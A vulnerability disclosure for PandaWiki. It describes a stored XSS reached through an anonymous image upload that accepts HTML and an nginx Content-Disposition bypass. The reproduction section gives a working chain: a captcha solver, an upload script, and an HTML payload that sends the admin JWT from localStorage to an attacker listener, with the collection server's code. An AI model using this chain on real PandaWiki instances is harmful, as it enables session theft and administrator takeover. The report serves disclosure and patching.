PandaWiki Vulnerability Report
Software: PandaWiki
Developer or vendor: Chaitin Tech
Code repository: https://github.com/chaitin/PandaWiki
1. Anonymous Upload of an HTML File Leads to Stored XSS
| Brief description: | When a knowledge base does not have an access password enabled, an anonymous attacker can upload an image file whose contents are HTML, and a user who visits that file is XSSed. |
|---|---|
| Affected versions: | 3.65.0 to 3.87.5 |
| Preconditions: | The attacker needs to lure a user into opening a specific link. |
Root Cause
The public upload endpoint /share/v1/common/file/upload belongs to the share route group, and knowledge bases without an access password allow anonymous calls. The endpoint validates the file type as follows:
// backend/handler/share/common.go:93-95 commit 0b26db72ce
if !utils.IsImageFile(file.Filename) {
return h.NewResponseWithError(c, "只支持图片文件上传", fmt.Errorf("unsupported file type: %s", file.Filename))
}
IsImageFile only checks the file name suffix, so naming the file preview.jpg passes the check. The object metadata written on upload is taken directly from the client-supplied Content-Type:
// backend/usecase/file.go:87-104 commit 0b26db72ce
contentType := file.Header.Get("Content-Type")
if contentType == "" {
contentType = mime.TypeByExtension(ext)
}
resp, err := u.s3Client.PutObject(
ctx,
domain.Bucket,
filename,
src,
size,
minio.PutObjectOptions{
ContentType: contentType,
UserMetadata: map[string]string{
"originalname": file.Filename,
},
},
)
As a result, the attacker-supplied Content-Type: text/html is stored verbatim in the object metadata, and MinIO returns the same Content-Type when serving the object.
Reading the object goes through nginx’s /static-file/ reverse proxy, configured as follows:
# web/admin/server.conf:69-81 commit 0b26db72ce
location ~ ^/static-file/ {
proxy_pass http://panda-wiki-minio:9000;
client_max_body_size 1000m;
if ($request_uri !~* \.pdf$) {
add_header Content-Disposition "attachment" always;
}
This configuration was introduced by commit bfcaed09 (feat(pdf) preview, 2026-01-19) and shipped with v3.65.0. Earlier versions added Content-Disposition: attachment to /static-file/ unconditionally.
$request_uri includes the query string, so a request written as /static-file/<key>?a=.pdf does not get the Content-Disposition header. The only content header left is Content-Type: text/html, and the browser renders the response as a page and executes its scripts.
The admin console (/api/v1/*) and /static-file/ are served by the same nginx instance, so they are same-origin. The console keeps its login credential in localStorage['panda_wiki_token'], so a script in the uploaded page can read it directly.
Reproduction Environment
The lab runs the official Docker compose deployment:
mkdir pandawiki && cd pandawiki
curl -sSLk -o docker-compose.yml https://release.baizhi.cloud/panda-wiki/docker-compose.yml
Create a .env in the same directory and fill in the variables the installer needs:
ADMIN_PORT=19800
POSTGRES_PASSWORD=pgpass_report
REDIS_PASSWORD=redispass_report
JWT_SECRET=jwtsecret_report
S3_SECRET_KEY=s3secret_report
ADMIN_PASSWORD=Report12345.
NATS_PASSWORD=natspass_report
QDRANT_API_KEY=qdrantkey_report
SUBNET_PREFIX=10.213.99
Start it:
docker compose up -d
Once the environment is up, first add an embedding model in the model configuration under “System Settings”. When PandaWiki creates a knowledge base it also creates a matching dataset in the vector store, and knowledge base creation fails when no default embedding model exists. After that, log in to the console with admin / Report12345., create a knowledge base, then create a document and publish it. The public site is then reachable via “Visit WIKI Site” in the top-right corner of the console.
Reproduction
The following demonstrates stealing an administrator account.
The scripts used in this section live in the files/ directory, and every command below is run from there.
Start by requesting a captcha as an unauthenticated user. The captcha is a proof of work and can be solved on the client:
import hashlib
import httpx
def prng(seed, length):
h = 2166136261
for ch in seed.encode():
h ^= ch
h = (h * 16777619) & 0xffffffff
state = h
out = ""
while len(out) < length:
state ^= (state << 13) & 0xffffffff
state ^= state >> 17
state ^= (state << 5) & 0xffffffff
out += "%08x" % state
return out[:length]
def solve(base, kb):
c = httpx.post(base + "/share/v1/captcha/challenge", headers={"X-KB-ID": kb}, verify=False).json()
tok, ch = c["token"], c["challenge"]
sols = []
for i in range(ch["c"]):
seed = tok + str(i + 1)
target = prng(seed + "d", ch["d"])
salt = prng(seed, ch["s"])
n = 0
while not hashlib.sha256((salt + str(n)).encode()).hexdigest().startswith(target):
n += 1
sols.append(n)
return httpx.post(base + "/share/v1/captcha/redeem", headers={"X-KB-ID": kb},
json={"token": tok, "solutions": sols}, verify=False).json()["token"]
Save the solver above as captcha_solve.py. Prepare an HTML file named poc_page.html; it is uploaded with a .jpg suffix:
<html>
<head>
<title>Document preview</title>
<style>
body { font-family: -apple-system, "Segoe UI", sans-serif; background: #f5f6f8; margin: 0; }
.wrap { max-width: 640px; margin: 80px auto; background: #fff; border-radius: 10px; padding: 32px 40px; box-shadow: 0 2px 12px rgba(0,0,0,.08); }
h1 { font-size: 20px; margin: 0 0 16px; color: #1f2329; }
p { color: #4b5563; line-height: 1.7; font-size: 14px; }
code { background: #f1f2f4; padding: 2px 6px; border-radius: 4px; font-size: 13px; word-break: break-all; }
</style>
</head>
<body>
<div class="wrap">
<h1>Document preview</h1>
<p id="msg">Rendering preview, please wait...</p>
<p>Token read from this origin: <code id="tok"></code></p>
</div>
<script>
var token = localStorage.getItem("panda_wiki_token") || "(none)";
document.getElementById("tok").textContent = token;
document.getElementById("msg").textContent = "Preview loaded. Administrator session was read by the hosted page.";
new Image().src = "http://10.213.77.1:18871/steal?t=" + encodeURIComponent(token);
</script>
</body>
</html>
Here 10.213.77.1:18871 is the HTTP port the attacker listens on. Upload the file with a Content-Type of text/html:
import httpx
from captcha_solve import solve
BASE = "https://127.0.0.1:19800"
KB = "3af1bb3a-8021-4077-a7de-d5b30519aa73" # taken from the public site's pages
token = solve(BASE, KB)
with open("poc_page.html", "rb") as f:
body = f.read()
r = httpx.post(
BASE + "/share/v1/common/file/upload",
headers={"X-KB-ID": KB},
data={"captcha_token": token},
files={"file": ("preview.jpg", body, "text/html")},
verify=False,
)
print(r.status_code, r.text)
The response:
200 {"message":"","success":true,"data":{"key":"3af1bb3a-8021-4077-a7de-d5b30519aa73/b85874b6-b10c-4c3a-95f5-660353171dcd.jpg"},"code":0}
The object is now in MinIO. Request the address with and without ?a=.pdf and compare the response headers:
$ curl -skI 'https://127.0.0.1:19800/static-file/3af1bb3a-8021-4077-a7de-d5b30519aa73/b85874b6-b10c-4c3a-95f5-660353171dcd.jpg' | grep -iE 'content-type|content-disposition'
content-type: text/html; charset=utf-8
content-disposition: attachment
$ curl -skI 'https://127.0.0.1:19800/static-file/3af1bb3a-8021-4077-a7de-d5b30519aa73/b85874b6-b10c-4c3a-95f5-660353171dcd.jpg?a=.pdf' | grep -iE 'content-type|content-disposition'
content-type: text/html; charset=utf-8
With the query parameter present, Content-Disposition disappears and the response is handled as HTML.
Start the collection service:
from fastapi import FastAPI
import uvicorn
app = FastAPI()
LOG = "stolen_tokens.txt"
@app.get("/steal")
def steal(t: str = ""):
with open(LOG, "a") as f:
f.write(t + "\n")
return {"ok": True}
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=18871, log_level="warning")
Lure the administrator into opening the link the attacker sent. The page displays the JWT it read from localStorage:

At the same time, the collection service receives the token:
$ cat stolen_tokens.txt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTM2MTA0MTgsImlkIjoiNjczZDQ3Y2MtNjIyNi00YjkyLThkZWYtNjQwOTk2YTUyN2MxIn0.TfCXubtYvkOxkctjwxs8TNRbWpFLYihPNlXEJxrFWpw
The attacker writes that token into their own browser’s localStorage and opens the console, landing directly in the administrator interface:
